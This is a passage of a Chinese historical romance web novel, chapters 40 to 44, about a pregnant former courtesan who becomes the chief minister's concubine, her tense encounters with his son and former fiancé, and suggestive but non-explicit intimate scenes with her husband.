林远舟倒也未拆穿她,低下头,吻上她的眉心,“白日可心见了昭明?” 他的声音很轻,但莫名的,徐可心听出几分哄骗的意味,好似要盘问什么,她小心抬头,却见男人眸色平静,面上并无诱哄的神色。 她疑心自己多想了,可能大人只是随口一问,关心她是否被林昭明欺辱。 徐可心犹豫片刻,迟疑点头,枕着他的颈侧,在他耳边沉闷地嗯了一声。 想起林昭明临走前的话,她的面色不自觉露出几分失落,好似格外难过。 她担忧林昭明会做出什么出格的事情,身旁人却忽然追问,“婚事已定,昭明不日要成婚,可心为此神伤?” 徐可心眸色一怔,不解抬头,对上男人审视的目光,她下意识道,“妾身为何要神伤?” 林昭明成婚,有了家室,想必无暇再同她计较,她高兴还不及,为何要因此神伤。 “大人何出此言?”徐可心不解反问。 她眸色困惑,除此以外没有半分旁的情绪,既未难堪窘迫,也未黯然神伤,林远舟无声注视她片刻,抚着她的侧脸,迎着她不解的目光,俯身吻上她的眉心。 冰冷的唇贴上她的额头,徐可心眨着眼睛,不自觉攥紧他的衣服,秉着呼吸不敢乱动,生怕错过这个吻。 唇色很淡,吻上时也并不温热,徐可心的心却跳得很快,身子稍稍燥热,盯着男人的薄唇,想要更多。 心上渴望加剧,徐可心下意识环住男人的脖颈,阻止他起身。 她手上的力气并不重,但轻而易举地就抱住了他,男人俯着身子,好似被她钳制住一般,顺着她的力道俯下身,双臂撑在她身侧,面色闲适随意,眼底情绪寡淡,丝毫没有被束缚的无措。 两人面对面,呼吸交缠。 对上他没有情绪的目光,反倒是徐可心手足无措,手上动作停滞,彻底忘记自己要做什么了。 林远舟从容不迫,也未催促,只平静地看着她,等待她的下言。 徐可心紧抿着唇,一时失了反应,只环着他的脖颈,良久未动。 她心上窘迫至极,可被束缚的人却姿态闲适,漫不经心地看着她,好似知晓她掀不起什么大浪,也做不出什么出格的事情。 徐可心面色紧绷,忽然不想看见对方这副游刃有余的姿态。 忽得想起妆匣一事,她不愿落了下风,轻声问,“大人是不是吃了长公子的醋……才命人将金锭放在妆匣里?” 话音刚落,面前男人眸色微凝,一直盯着他的徐可心很快捕捉到眸中的异样,方要露出笑容,就听男人轻声反问,“可心认为呢?” 话又被抛了回来,徐可心面色怔愣片刻,随即不满道,“妾身又不是大人,如何知晓大人的心思。” 若说吃醋,就是她更在意,若说不吃醋,就是她自作多情,分明想拆穿对方的心思的人是她,可被他轻轻反问一句,落了下风的人竟又成了她。 可好似看出她的急切,林远舟意味不明地轻轻叹息,只平静看着她,但良久未回答。 意识到对方有意不回答,徐可心面色微微泛红,却不是因羞怯,而是被他闲适的姿态气到,她不满地看着对方,唤了一声大人,忍不住催他开口。 想知晓他到底是否在吃醋,又是否在意她……魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 徐可心环着男人的脖颈,面色带着些许不满,见他迟迟不开口,又催促地唤了一声大人。 林远舟被她抱着,随意嗯了一声,依旧没有下言。 回应了她,又未真得回应。 徐可心微微蹙眉,面色愈发不满,埋怨的话还未出口,男人忽然低下头,凑近她的脸庞。 话到嘴边戛然而止,她的眸子霎时瞪大,眨也不眨地盯着他看。 鼻尖轻轻贴在一起,已经很近了,对方依旧没有停下来的征兆,微微偏头,贴上她的鼻梁。 徐可心眸色怔愣,早就忘记了口中的话,只盯着近在咫尺的他的容颜。 大人的眉眼并不凌厉,反而透着几分温和,真正让人望而生畏的是他的那一双喜怒不形于色的眸子,好似恒久难化的雪山,常年寒冷肃穆,未留给任何人容身之处。 而现在,这人成了她的夫君。 徐可心少时畏惧他,但如今成了他的妾室后,她又认为大人也并非自己所揣测的那般高不可攀难以接近,既不似父亲那般严苛,也不似林昭明那般暴戾,大人待她是独一份的温柔。 她紧抿着唇,心跳得格外快,环住男人的手臂也失了几分力气,虚虚搭在他的肩膀上,凝神注视他,眼底不自觉露出几分期待。 已经很近了,只再微微低头,就能贴上他的唇,徐可心无声地咽了下干涩的口水。 她浑身僵硬难耐,期待对方的亲近,可男人忽得停了下来,半阖眉眼和她对视,没有再进一步的意思。 只是轻蹭鼻梁,根本没有吻她的意 思……徐可心等了半晌,意识到这一点,面上的红意霎时褪去,复又不满地蹙眉。 男人面色如常,眸色平静无波,好似未看出她眼中的不满,但不知为何,徐可心仍看出几分戏弄的意味。 她方要开口,嗔怪他避而不答存心戏弄自己,男人忽然道,“是。” 徐可心话音一顿,不解追问,“是什么?” 林远舟淡淡瞥了她一眼,没有再开口,迎着她困惑的目光站起身,修长的手指勾上衣带,随手扔走外衣,复又扯住衣襟,慢条斯理脱下…… 衣服一件件脱落,徐可心直愣愣地盯着他,良久未移开目光。 男人的手指勾住最后一件衣服时,忽然停了下来,徐可心不解抬眸,却见对方垂着眉眼,无声注视她,眼底情绪复杂,轻轻叹了口气,好似在感慨她不知羞一般。 四目对视,徐可心也终于意识到她方才的目光格外直白,面色霎时一红,攥紧被子,偏过头看向一旁。 看不见,但仍能听见,脱衣的窸窣声再次在耳边响起,她的心也跳得愈发快,徐可心抬手,抚上自己的侧脸,面颊发烫至极。 她垂着眉眼,彻底不敢回头了,只盯着虚空,听着一旁的动静。 衣衫尽褪,单剩下里裤。 分明往夜时常看见,心上也未有多少羞耻,可今日对方要脱不脱的,有意站在她面前戏弄她,她反倒窘迫至极,莫名难堪,心也跳得厉害。 她垂眸思索时,忽得鼻梁一热,温热的液体涌入鼻腔中,几乎瞬间,徐可心的眸子瞪大,忙不迭去寻帕子,捂住口鼻。 她的背影太过慌乱,耳边脚步声响起。 林远舟走上前,攥住她的肩膀,抚着她的下颌要看她。 徐可心方被他有意戏弄,心上本就窘迫至极,现在更不敢看他了,只低垂着头,无论如何也不看他。 林远舟微微眯眼,疑心她被气哭了,抚着她的下颌强迫她回过头,安慰的话方要说出,却见她面色涨红,小心地回视自己,面上沾着血,手中的帕子也被血浸染。 四目对视,林远舟无声看了她半晌,才道,“可心已经不是豆蔻少女了。” 他的语气很轻,好似感叹一般,俯下身吻上她的脸颊,唇贴着她耳侧温声道,“已经同夫君欢好过,为何还会羞涩难堪?” 不似林昭明,提醒她不再年轻,男人话里轻轻叹息,好似真得不明白为何两人已经有了数次肌肤之亲,但她还是会在调情时羞耻到流鼻血。 温热的呼吸打在耳边,徐可心眸色窘迫,她也未曾料到,自己为何会这般…… 男人的手指扶着她的下颌,她只能被迫仰头,任由对方看她面上狼狈的血。 过了半晌,意味不明的叹息声再次在耳边响起,男人站起身,向门外走去,命下人送热水过来。 木盆前,徐可心蜷缩在男人怀里,仰着脸,任由大人用热毛巾擦拭她面上的血迹。 湿热的毛巾贴在脸上,缓慢擦拭,动作很温柔,并不急躁,同那夜一般无二,徐可心忍不住微微阖上眼睛,环抱男人的后背。 眼下男人身上不着一物,她反倒不似方才那般羞怯,安静靠在他怀里,享受他的照顾。 徐可心微微抬眸,看着男人的侧颜,忽然发觉大人似乎很会照顾人,可在她怀孕之前,大人并未像现在这般待她。 她犹豫半晌,轻声道,“大人,你也会这般照顾旁人吗?” 在她之前,府上旁的人也怀有身孕,生过孩子,难道大人也像现在照顾她一般,照顾其他人…… 思及此,她的心不自觉沉闷几分,虽知晓自己只是他的一个妾室,但嫉妒心作祟,她还是只想拥有大人独一份的好。 徐可心知晓自己僭越了,但仍小心地看向身侧男人,等待他的回答。 男人从身后抱着她,垂着眉眼为她擦拭脸颊,闻言瞥了她一眼,手上动作不停,淡声道,“旁人不似可心这般娇气。” “……” 那就是没有的意思,徐可心忽略他的话,抬手捧住男人的侧脸,吻上他的脸颊,随后在他耳边轻声道,“旁人也不似大人待我这般好。” “很喜欢大人,想一直陪在大人身边。” 林远舟擦拭的动作一顿,良久后才环住她的腰。 秋去冬来,只差一场雪。 过去雪落时,她在教坊司挨寒受冻,双手被冻得肿胀发青,仍要去弹琴。 有喜欢听她弹曲的官员想要见她一面,拿着银两命嬷嬷带她过去。 知晓自己若过去就很难回来,每每得了传讯,她便跑到湖边,假装失足落下去,满身狼藉沾着秋水里的枯叶被人救上来,浑身病殃殃半死不活地躺在床上。 嬷嬷见状,只能传讯说人病了。 官员闻言,不想沾染病气,嫌弃摆手,也就罢了。 嬷嬷知晓她是有意为之,气她胡闹,但指望她用赏钱孝敬她们,嬷嬷又不会真得责罚她,只命她几日不得用膳,然后急忙忙把她拉出来,让她继续在幕帘后给人弹曲。 她弹得一手好琴,鲜少出错,官员们听得开心,给她的赏钱总是比旁人多些,嬷嬷得了钱,嘟囔地骂几句假清高之类的话,也不会再同她计较。 寒冬难过,很容易死人,但她也蜷缩着身子在那吃人的地方活了三年。 屋外忽得传来细碎的风声,沙沙作响,丫鬟的轻叹声在门外响起,“下雪了。” 徐可心闻言,缓缓抬眸,借着夜色看向身前男人的侧颜,过了半晌,男人揽住她的肩膀,将她压在怀里。 男人的身体很温热,挡住渗入屋内的冷风,徐可心枕着他的手臂,蜷缩身子寻了个舒服的姿势,埋首在男人怀里阖上眼睛。 有大人在身边,今后的冬日总是要比之前好过些许。 雪落了一整夜,天亮时男人早就离开了。 徐可心是被小妹的笑声吵醒的,她捧着一把雪快步跑进来,顶着一张涨红的脸,眸色很亮地看着她,将手中的雪团给她看,“阿姐,下雪了。” 徐可心看着她手中的雪团,用手心贴着她冰冷的脸颊,命她不得再玩雪,以免手指再生冻疮。 徐念安轻蹭她的手心,乖巧地嗯了一声。 雪地难行,徐可心前去请安时,被树下垂落的雪浇了个正着,只能急忙忙回去换衣,等她到正院时,众人早就到了。 她来得不算太晚,向大夫人略微行礼后,走到木椅前坐下。 徐可心端起茶杯,正要喝茶暖暖身子时,几日消沉的三姨娘忽然开口,笑着问她为何来迟了。 她的面上带着笑意,又恢复成往日那般八面玲珑的模样。 徐可心喝茶的动作一顿,温声解释自己来时被树上的落雪浇中了。 三姨娘轻啧一声,好似关心她一般不紧不慢道,“如今四妹怀有身孕,应时刻注意身子,雪天难行,今日被雪砸中也就罢了,明日若是脚底一滑,摔在地上小产就不好了。” 三姨娘嘴上不留情,但的确提醒了徐可心。 她隔着衣服抚上自己微微隆起的腹部,微微颔首,没有半分恼怒的意思。 三姨娘见状,顿时失了兴致,没有再说什么。 从正院离开时,恰巧碰见钱管家。 一见到她,钱管家就上前,说大人传她过去,徐可心得了命令,随他去书房。 在她身后,三姨娘远远望着两人的背影,面色紧绷,“怀孕而已,瞧给她得意的,只有她能怀似的。” 三姨娘抚着自己的腹部,攥着衣服的手指微微用力,看向随行的小厮,“命他今夜等我。” 孩子罢了,她也会再次怀上。 书院。 到了书房门前,管家为徐可心打开门,就退下了。 徐可心方一走进,就被热意包围,她缓步走进,向男人微微行礼。 林远舟手持毛笔,眼也不抬命她过去,徐可心得了命令,缓步上前,站在他身侧。 男人本在处理公务,忽得想到,又握着徐可心的手腕,将她揽在怀里。 之后未再说一句,既没有命令,也没有嘱咐,徐可心心上困惑,不明白大人为何唤她前来,但见他处理公务,徐可心又不忍心打扰他,只安静坐在他怀里。 书房内格外温热,熏香又格外安神,她如今怀有身孕,本就容易累,没过多久就耷拉着眼睛。 正 当她昏昏欲睡时,屋外传来脚步声,脚步格外沉重,透着几分急躁。 本以为只有他们两人,不知晓大人还唤了其他人,徐可心下意识站起身,想要离开男人怀里,可起身的瞬间,又被揽着腰抱了回去。 “别动。”男人淡声命令。 徐可心闻言,面色微红,方要说要是被人看见怎么办,房门就被人推开。 “父亲,你唤我……” 林昭明推门走进,在看到她的瞬间,眉色霎时一沉,“你怎么在书房?” 四目对视,徐可心的面色霎时一白,瞌睡消失得一干二净。 她又哪里料到来人会是林昭明…… 第42章 徐可心哪里敢回他的话,下意识转过身,埋首在男人颈侧,只当未听见他的话。 她俯着身子,整个人嵌进男人怀里,紧攥他的衣服,好似见了猫的鸟雀躲在主人怀里,身子略微颤抖,但知晓有人撑腰,倒也未同往日那般害怕。 林昭明盯着她的背影,垂在袖中的拳头紧攥成拳,看向坐在桌案上姿态随意的男人,不解道,“父亲,书房重地,怎能让一个妾室进入。” “况且她身处书房,还……” 林昭明盯着环在徐可心腰上的手臂,深呼一口气后,才咬牙道,“还坐在父亲身上,成何体统,就算她不知分寸央求父亲,父亲也不应纵容她。” 质问的话在书房响起,徐可心闻言,也知晓两人的姿势委实不妥,扶着男人的肩膀就要站起身,可揽在她腰上的手臂格外有力,钳着她的身子。 搭在她背上的手虚虚扣住她的侧腰,让她难以起身。 她微微抬头,贴着林远舟耳侧轻轻唤了一声,“大人……” 林远舟看着手中的公文,面色如常,眼也不抬道,“昭明尚未成婚,既无妻妾,也无子女,难以知晓怀孕之人的不易。” “你庶母性情温婉,待人温和,但私下里其实是个娇气的,容易受惊。昭明日后理应专心科举,不得再跑去听雨阁惹她不悦。” “况且昭明明年就要同沈家小姐成婚,既有了新人,勿要再纠缠旧人不放。” 徐可心坐在他怀里,不曾想过他会提起此事,心上的不自在霎时褪去些许,她勾着男人的肩膀,抬眸看向站在不远处的林昭明,却见他的面色极为难看,良久未发一言。 林昭明本紧拧着眉,见她看过来,眸色霎时一沉,四目对视,徐可心下意识转过头,又将脸埋在男人的颈侧,不看林昭明。 她排斥的举动过于明显,林昭明的面色彻底黑了下去,俯身拱手冷言道,“父亲,并非昭明想要纠缠于她,只是她的出身实在低微,受人诟病,若父亲一直留她在府中,恐因她受人耻笑。” “父亲乃是当朝首辅大人,如何能纳一个官妓为妾,况且她曾在教坊司受人管教,身子怕是早就不干净了。” 林昭明的话实在不入耳,徐可心微微低头,只耷拉着眉眼,下巴枕着男人的肩膀,彻底不愿回头看林昭明了。 她微微偏头,用自己的耳朵贴上男人的侧颈,好似只要这样,就不会再听到身后人羞辱的话。 眼眶微微酸胀,她紧抿着唇,强忍着才没有趴在男人肩膀上哭起来。 正当她竭力克制时,一只手抚上她的头,将她压在肩膀上,揽住她的后背。 徐可心眸色微怔,眸中蒙上一层层薄薄的雾,她轻轻抽泣一声,终于忍不住趴在男人怀里哭了起来。 声音很轻,不仔细听根本听不见,可她整个人依偎在男人怀里,喉咙里的哽咽清晰传入男人耳中。 林远舟半阖眉眼,轻抚怀中人的头发,抬眸看向站在不远处的青年,语气没有起伏问,“如今可心是为父的妾室,不知昭明认为,京中之流何人会轻视可心。” 新帝登基时,尚且年幼,朝野上下虎狼窥伺,林远舟受先帝嘱托,辅佐新帝登基,肃清朝堂清理旧党余孽,备受新帝重用。 先帝在位时,他便是权倾朝野的首辅大人,如今身怀从龙之功,更是翻手为云覆手为雨,一人之下万人之上。 数月前复又铲除旧党叛臣和一众贪官污吏,这朝堂之中,无人能与他林远舟比肩。 仗着新帝年幼,不精于朝政,尚且有老臣在他面前耍心思,暗度陈仓,借少帝之手行自己之便,可在首辅大人面前,一众老臣却装起了鹌鹑,无人胆敢造次。 不似前首辅徐大人,崇尚中庸制衡之道,林远舟手段狠戾,素来不留情面。 若有官员因他纳官妓为妾而耻笑于他,怕是不想要头顶的乌纱帽以及下面那颗项上人头。 徐可心过去怕他,只因林大人总是一副不近人情的冷漠模样,不知晓他在朝堂之上的手段。可作为他的儿子,林昭明却清晰知晓父亲曾做过的事情。 徐可心如今是他的妾室,不看僧面看佛面,除非不想活了,否则京中众人无人会在他面前轻视徐可心,更不会因为徐可心的过往取笑他。 林昭明少时,艳羡他的权势,一直想成为像父亲一样受人敬畏的权臣,以此让徐可心依靠他。 可如今,徐可心并未嫁给他,而是直接成了他父亲的妾室。 林昭明知晓徐可心性情软弱,少时想保护她,之后却格外厌恶她的软弱,他比任何人都清楚徐可心多么需要一个人依靠。 徐可心的根就是腐烂的,自幼受人管教,性子早就被磨平了,逆来顺受不争不抢,只寻求旁人的庇护。 而他的父亲素来不近人情冷心冷血,不把任何人放在心上,不谈情意只知争权夺利,恰好可以让徐可心依附。 两人竟意外地般配…… 若非一人是他的前未婚妻,一人是他的父亲,林昭明倒真想说句天造地设。 垂在袖中的手紧攥成拳,他盯着徐可心单薄的背影,却觉眼前一切格外刺眼,令人难以忍受。 如今她怀有身孕,也早就不干净,林昭明不明白,分明早就立誓要和她撇清关系,也的确如愿摆脱她三年,可再见面,看着她自甘堕落的下贱模样,还是心生怒意。 他算是看清了,徐可心只适合被人豢养起来,像只鸟雀被人玩弄,不然只会出来惑人,惹他心烦。 林昭明站在原地,压下眉眼间的戾气,拱手道,“是昭明多虑了。” “但她身份轻贱,父亲还是早做决断为好。” 话音刚落,怀里的人轻轻瑟缩,林远舟垂着眉眼,抬手抚下她眼尾的泪水,眼也不抬道,“可心如今成了为父的妾室,若让她再因身份神伤,的确是为父之错。” “既入了夫家,往后便随夫君的姓氏可好?”林远舟抚着她脸上残留的泪,在她耳边轻声问,好似在与她商量一般。 若是改姓,早在徐可心入林府那一刻,便随了夫姓,可现在他再次问起,明显不是随夫姓那般简单。 忽然意识到什么,林昭明冷着眉眼,直接否决道,“父亲不可!她若改姓林,身份不清不楚,到底是父亲的妾室,还是父亲的姊妹儿女?此举有悖伦理!” 徐可心本来趴在他怀里默默哭着,闻言面色一怔,也忘记哭了,抬眸看向身前男人,却见他眸色随意,好似方才的话只是随口一说。 林远舟不理会林昭明的话,只看着徐可心,漫不经心地揉着她的眼尾,“可心可愿改姓?” 他语气淡漠,分明是极为冷淡的姿态,但不知为何,徐可心听出几分诱哄的意味。 改夫姓,此后姓林,成了林家人,再也不必因身份受人耻笑。 若在过去,她顾及世俗,定然不会答应,可一朝从千金小姐沦为官妓,被人戳着脊梁暗嘲了三年,她虽一直 忍受,但早就受够了旁人的轻视。 徐可心坐在男人怀里,怔愣地看了男人片刻,犹豫良久,才轻声道,“大人所言……可是真的?” 林远舟眼底没有情绪,淡声道,“为夫何时骗过可心?” 她转过头,看向身侧的男人,方要开口,却听林昭明冷声道,“徐可心你若是答应,我这辈子都不会原谅你。” 到嘴边的话骤然停下,徐可心僵硬转头,看向站在不远处的男人,却见林昭明冷着眉眼,阴鸷地盯着她,眸中恨意几乎快要溢出来。 徐可心面色一僵,口中的话也彻底失了声。 第43章 林昭明的眼神格外骇人,徐可心过去从未在他脸上看到过这副神情,好似她做了什么十恶不赦的事情,同他有不共戴天之仇一般。 若在之前,她在意林昭明,一定会为他妥协,但现在她已经不再期待这人会救她,给她想要的自由,大人已经给她了。 现在大人要令她改姓,她不想错过这次摆脱官妓身份的机会,若这次她不答应,之后大人认为她自甘堕落,想必也不会再提起。 徐可心垂下眉眼,不再看林昭明,攥着身边人衣服的手用力,良久后,才轻声开口,“妾身但听大人的吩咐。” 话音刚落,林昭明面色紧绷,“徐可心你……” 未等他说完剩下的话,林远舟淡淡瞥了他一眼,林昭明面色一僵,余下的话霎时堵在口中。 徐可心眸色胆怯,小心地看向林远舟,林远舟揽着她的腰,不顾站在书房内的林昭明,将她抱在怀里,有一搭没一搭地抚着她的后背,低声轻哄了几句。 徐可心伏在他怀中,紧绷的心弦放松些许,面色微红,含糊地唤了一声大人。 林昭明站在一旁,看着两人亲密无间的姿势,面色愈发苍白,胸膛愈发沉闷,忽得尝到一丝腥甜,他面色一怔,匆匆行礼就要离开。 可方要转身,身后男人淡声道,“慢着。” 林昭明脚步一顿,垂在袖中的拳头紧握成拳,极力压制内心的躁郁,“不知父亲有何交代?” 林远舟虚虚揽着徐可心的后背,抚着她的眼尾,手指力气很重,徐可心微微偏头,躲过他的手,握着他的手腕阻止他的动作,埋怨地看着他,说了声很痛。 林远舟自然顺着她的力道收回手,任由徐可心握着,眼也不抬道,“可心入府数月,昭明还未正式见她一面,过来唤她一声庶母罢。” 话音刚落,书房霎时陷入死寂。 徐可心身子一顿,也忘记去扯他的手,怔愣地看着他,却见林远舟眸色平静,好似不知晓自己刚刚那句话有多么骇人。 她僵硬转头,看向站在不远处的林昭明,却见他的面上早已失了血色,惨白至极。 若他恣意行事,徐可心倒也不会担忧林昭明,但见他露出难色,不知为何,心上还是有些不忍。 她不想逼迫林昭明什么,也未想过在他面前立威,只要两不相欠互不打扰即可。 她不愿应林昭明这声庶母,但又不敢忤逆大人,徐可心犹豫半晌,轻声道,“大人,不必了……” 话未说完,对上男人没有情绪的眸子,她余下的话停在唇边,没有再继续说下去,随后俯下身,温顺地靠在男人怀里,不敢再说什么。 林昭明面色铁青,沉郁到极点,直至盯着徐可心的背影,良久未回应。 不知过了多久,徐可心才听到身后传来脚步声,“庶母”两个字在书房内突兀响起,几乎一个字一个字从他口中挤出来。 哪怕她不回头,也能猜到林昭明此时的脸色有多难看。 她无意折辱林昭明,但不知为何……听他唤自己庶母,难言的畅快感在内心升起。 她垂着眉眼,枕着男人的肩膀,闻着他颈间的馥郁的香味,忽觉口齿生津,想要咬上去。 她盯着男人冷白的侧颈,无暇再理会站在一旁的林昭明,微微挪着脑袋,凑近些许。 他唤了庶母,林远舟也未再为难他,准他离开。 沉重急躁的脚步声在书房内响起,书房门被重重阖上,林远舟方要看向怀中的情人,颈间传来刺痛。 他垂下眉眼,却只看到女人的侧颜,对方埋首在他颈侧,咬着他的脖颈,发泄似的,但力道并不重,更像小狗磨牙。 好似察觉到他的目光,对方终于松开口,抬眼看他,睁着一双无辜的杏眸,轻轻唤了一声大人。 林远舟无声看了她半晌,终究未再说什么,捡起一本文书。 未料到他的反应这般平静,徐可心枕着他的肩膀,看了眼他脖颈上的咬痕,又看了眼男人冷淡的侧颜,轻声提醒,“大人,妾身方才咬了你。” 还留下一个极其明显的痕迹……大人不涂脂粉,只待咬痕发青,旁人都会瞧见。 林远舟眼也不抬,意味不明地嗯了一声,也未说什么。 徐可心不想承认,但她方才的行为,的确有些小心思在里面,但意外的,对方似乎并不在意她的僭越。 不知晓大人是真得不在意,还是无心同她计较,徐可心都愿接受。 林远舟处理公务,她蜷缩在对方怀里,不知不觉睡了过去,再醒来,已然到了午后。 入了冬日,天色变短,两人方用过午膳,日头就彻底落了下来。 不似前几日那般忙碌,对方今日好似格外悠闲,沐浴后,捧着一本书坐在她的床前,时不时翻阅。 徐可心倚着他的肩膀,见大人看得入神,她也微微低头,凑过去看书上的字,读了几句有关礼义廉耻的话,顿觉兴致缺缺,垂着眉眼,轻轻打着哈气。 她抬头看身旁的男人,却见对方不知何时也在看她,四目对视,徐可心微微抿唇,问他这是什么书。 林远舟拿着手,另外一只手揽上她的后背,淡声道,“闲书。” “可心喜欢?”他问。 她从小被人管教,早就被迫读遍了各种闲书,谈不上喜欢与否,但真真切切不想再学礼仪规矩。 徐可心抬手,推开他手中的书,俯下身枕着他的腿,埋首在他怀里含糊地说了一声不喜欢。 见她浑身透着抗拒,林远舟撩起她鬓角的长发勾在耳后,抚着她的肩膀,也未再强求她。 她自小跟在宫中的姑姑身后学规矩,她们得了父亲的命令,总是对她极为严苛,稍有不对就会用戒尺拍打她的手心,一天下来,手心总是发麻肿胀,疼得快要失去知觉。 入了教坊司后,几个嬷嬷也同宫里的姑姑一样,不落责罚,克扣银两不让用膳几乎是常有的事情,她性子温顺,早就被磨平,倒也鲜少惹嬷嬷注意。 有几个性子刚烈的小姐,受不了落差,不是想要逃跑,就是想要自尽,到最后鬼门关走一遭,活着的过了半月就彻底麻木了,死去的也免了一番折辱。 她惦念着小妹,格外惜命,每日小心翼翼地过活,不敢违背嬷嬷的命令。 她微微转过身,盯着男人的下巴,过了良久,才忍不住问,“妾身不喜学礼,大人……不介怀吗?” 少时林昭明成日里追在她身后,说她温柔体贴,很喜欢她,但自从他入了学堂后,没过多久,就开始对她心生厌烦。 一开始她去学堂寻林昭明,林昭明还很欢喜,但不知何时开始,这人愈发嫌恶她,躲着她,对她避之不及,好似她是什么洪水猛兽。 她少时的性情还未被磨平,受了冷落,心上终归不好受,跑去问林昭明,是不是她那里做得不好,惹他不快。 林昭明被问得不耐烦了,第一次 对她冷脸,质问她为何鲜少读书,既不懂词赋,也不懂经文,成日里只知道纠缠他,没有半分主见。 徐可心那时才知晓,林昭明嫌弃她才疏学浅,不曾读过几本书。 她的确因为林昭明的话难过几日,寻了几本书想要研读,可没读几页,就被父亲命人扯去学琴学礼。 她的确读过几本书,可都是有关女子礼仪的,并非林昭明口中的经书典籍。 她白日受人管教,没有半分自由,只有入夜才能读上几页,可无夫子教导她,她就算懂了些东西,但终归是皮毛,依旧受林昭明嫌恶,不及沈家小姐,甚至不如初入学堂的稚童。 他是少年英才,学什么都快,可她只是寻常女子,对方长大后,知晓她脑袋空空,同她疏远也情有可原。 她正想得入神时,忽得一只手抚上她的侧脸,徐可心霎时回神,看向男人,却见对方看着手中的书,语气没有起伏道,“喜好学礼与否是学者与入仕者应考虑之事,可心身为女子,只知闲趣行乐即可。” “为夫是当朝首辅,倒也不至于让可心靠卖弄才情过活,若有兴致,再寻先生教导也不迟。” “但不必纠结于此。” 他看着手中的手,漫不经心陈述,完全不在意她是否通晓经书,徐可心望着他的侧颜,沉默良久,复又转过身环住他的腰,埋首在他怀里闷闷地嗯了一声。 临入寝时,她忽觉身子有些不适,蜷着身子在床上时不时转身,抚着腹部,怎么也无法入睡。 她无意吵醒对方,但她的确难受得紧,翻来覆去睡不着,正当徐可心想着,要不要从男人怀里出来时,一只手忽得抚上她微微隆起的腹部,隔着衣服缓慢安抚。 她身子一僵,停止了动作,过了良久,才忍不住小声问,“大人,是妾身吵到你了吗?” 男人环着从身后环抱她,温热的掌心贴着她的腹部,未回答她的话,而是反问她,身子可还好些。 腹部被他不轻不重抚摸,的确舒服些许,徐可心枕着他的手臂,微微点头,小声回应说很舒服。 不知是对方的动作太过温柔,让她产生了对方很怜惜她的错觉,还是她太喜欢对方,不自觉顾虑大人是否喜欢他们的孩子。 徐可心犹豫良久,忍不住问,“大人希望妾身怀的是公子还是千金?” 话刚出口,伏在她腹部的手霎时停了下来,身后之人良久无言。 徐可心枕在他怀中,自然清晰察觉到男人的异样,心也不自觉沉了几分,忐忑不安地等待他的回答。 第44章 “大人……” 徐可心转过身,同男人面对面,借着月色看着他的面色。 男人的手臂虚虚搭在她的侧腰上,林远舟看她,眸色沉静,好似在思索她方才的话。 在她转过身时,垂眼看过来,但依旧未给她回答。 男人迟迟不开口,徐可心心上也愈发忐忑,面上不自觉浮现几分小心翼翼的神色。 府上只有两位公子,但都出于正房,很难不让人认为,大人不喜女婴,可生男生女并非她所能决定的,况且无论男女都是他们的孩子,她也希望大人能够喜欢。 单有她的喜欢算不了什么,若想在府中安稳度日,总应得大人的青睐,才不会受人冷落欺辱。 她眸色透着小心期待,男人无声看了她半晌,才道,“可心喜欢公子还是千金。” 徐可心下意识道,“无论儿女都是妾身的孩子。” 她都喜欢,都会用心抚养长大,成为他们的依靠。 徐可心小心打量男人的神色,轻声道,“妾身想知道大人的心意。” 夜色中,他语气没有起伏道,“既是可心生下的孩子,也是林府的公子小姐,同怀瑾昭明别无一二。” 不偏不倚,不在意她腹中孩子是男是女,但也根本不会在意这个孩子。 好似于他而言,这个孩子无关紧要,生下与否都不必在意。 徐可心微微蹙眉,早就知晓了大人的心意,但亲耳听见,心还是不自觉浮现些许失落。 她微微凑上前,环着男人的肩膀,轻吻他的下巴,小声道,“大人,先不管这孩子的身份,只把他当成你的孩子,妾身想知晓,你会喜欢他吗?” 她枕着男人肩侧,在他耳边轻声问询,在她上前时,男人的手臂就环上她的腰背,将她抱在怀里。 过了良久,徐可心才听他问,“可心希望为夫喜欢他?” 徐可心扶着他的肩膀,闻言起身,单手撑在男人的耳侧,软着声音问,“妾身希望,大人就会喜欢他吗?” 她的头发从肩膀垂落,贴着男人的侧脸,林远舟被她压在身下,眼底没有情绪,淡淡瞥了眼她撑在耳侧的手臂,好似投降一般困在她身下,抬眸回视她,平静道,“若可心希望,为夫自然也会喜欢。” 不会真得喜欢,但愿意为她妥协,可以去喜欢。 徐可心紧抿着唇,盯着身下男人的脸,想要他的一句真心实意的喜欢,但知晓他本性如此,方才的话已经是最大的让步,她沉默半晌,俯身轻轻吻上他的唇角,在他耳边含糊道,“大人亲口答应的,不得反悔。” 林远舟环着她的腰,闻言轻抚她的后背,顺着她的话,“好。” “不反悔。” 两人的身子贴得很近,自从她怀孕后,这人又说戒欲,她已经许久未得到疏解,现在被他抱着,身子也不自觉开始烦热。 察觉到体内的燥热,她慌乱起身,想要离开他的怀抱,可方起身,又被拦腰抱了回去。 “身子可还好些?” 林远舟仍记得她方才的话,抬手抚上她的腹部,隔着衣服缓慢安抚。 他未多想,徐可心却格外不适,慌乱攥住他的手腕,颤着声音说已经好了。 林远舟无声抚着怀中人的腹部,却见不知何时,她的面上浮现一丝难堪。 他本以为是方才自己的话不合她的心意,正想着安慰的话时,却听她嗓音轻颤,好似在极力克制什么。 若是委屈哭了,总会埋在他怀里,可现在只攥着他的手腕,不让他继续安抚,面上欲言又止……不似难堪,倒像是发春了。 思及此,林远舟轻轻叹息,“可心,为夫今夜好似并未同你调情?” 直接被猜中心思,徐可心霎时面色涨红,窘迫低头,“妾身也并未说想要。” 话一出口,又发觉不对,她装糊涂道,“妾身不懂大人在说什么,天色不早了,快些入寝罢。” 她挪走男人的手,向床里侧爬去,不想今日同他睡在一起,可她方膝行两步,就被人攥着腿弯扯了回去。 徐可心眸色一怔,攥着被子不松手,慌乱地看向身后的男人,“大人,应入寝了。” 林远舟俯下身,同她方才一样,单手撑在她的身侧,将她困在身下,低声道,“可心并未动情,只是良辰美景,为夫先起了心思,还望可心成全。” 他眸色冷淡,依旧那副不近人情的模样,说出的话却格外温柔,有礼有节,征求她的同意,若非两人此时是在床上,还以为他在同人处理政务。 徐可心怔愣地看着他,良久才犹豫道,“可是大人,妾身如今怀有身孕,难以承受……”他的孟浪。 林远舟半阖眉眼,好似看出她的顾虑,先道,“只为可心解乏罢了。” 徐可心一开始未理解他怀里意思,等被他抱在怀里时,才终于明白大人要做什么。 她衣冠不整地蜷缩在男人怀里,而对方穿戴整齐,抚上她的膝盖,自下而上缓慢按揉,她的心也随着男人指腹的按揉越跳越快。 